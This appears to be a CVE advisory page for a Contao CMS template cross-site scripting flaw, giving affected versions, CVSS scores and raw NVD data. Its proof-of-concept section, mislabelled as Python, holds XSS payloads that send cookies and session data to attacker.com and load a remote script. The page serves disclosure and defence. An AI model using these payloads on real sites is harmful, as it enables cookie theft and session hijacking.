Security Vulnerability Report
中文
CVE-2025-65961 CVSS 3.3 LOW

CVE-2025-65961

Published: 2025-11-25 19:15:51
Last Modified: 2025-12-03 18:20:38

Description

Contao is an Open Source CMS. From version 4.0.0 to before 4.13.57, before 5.3.42, and before 5.6.5, it is possible to inject code into the template output that will be executed in the browser in the front end and back end. This issue has been patched in versions 4.13.57, 5.3.42, and 5.6.5. A workaround for this issue involves not using the affected templates or patch them manually.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:* - VULNERABLE
Contao 4.0.0 - 4.13.56
Contao 5.0.0 - 5.3.41
Contao 5.4.0 - 5.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-65961 PoC - Contao CMS Template XSS --> <!-- This PoC demonstrates XSS injection in Contao template output --> <!-- Requires admin privileges to modify templates --> <!-- Step 1: Inject malicious script via template modification --> <script>alert(document.cookie)</script> <!-- Step 2: Alternative payload - Cookie stealing --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Step 3: Session hijacking payload --> <script> fetch('https://attacker.com/log?data='+btoa(JSON.stringify({ cookie: document.cookie, url: location.href, referrer: document.referrer }))); </script> <!-- Step 4: Automated exploitation - DOM based --> <script src="https://attacker.com/malicious.js"></script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65961", "sourceIdentifier": "[email protected]", "published": "2025-11-25T19:15:51.387", "lastModified": "2025-12-03T18:20:37.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Contao is an Open Source CMS. From version 4.0.0 to before 4.13.57, before 5.3.42, and before 5.6.5, it is possible to inject code into the template output that will be executed in the browser in the front end and back end. This issue has been patched in versions 4.13.57, 5.3.42, and 5.6.5. A workaround for this issue involves not using the affected templates or patch them manually."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-87"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.13.57", "matchCriteriaId": "476CF4CA-7225-4CE2-B400-9D69AFB9C609"}, {"vulnerable": true, "criteria": "cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.3.42", "matchCriteriaId": "13024496-5AD3-4439-983D-5D29485E9A26"}, {"vulnerable": true, "criteria": "cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.0", "versionEndExcluding": "5.6.5", "matchCriteriaId": "839D1FF5-F939-4BE8-B0E6-182DBF9A1A5B"}]}]}], "references": [{"url": "https://contao.org/en/security-advisories/cross-site-scripting-in-templates", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/contao/contao/security/advisories/GHSA-68q5-78xp-cwwc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}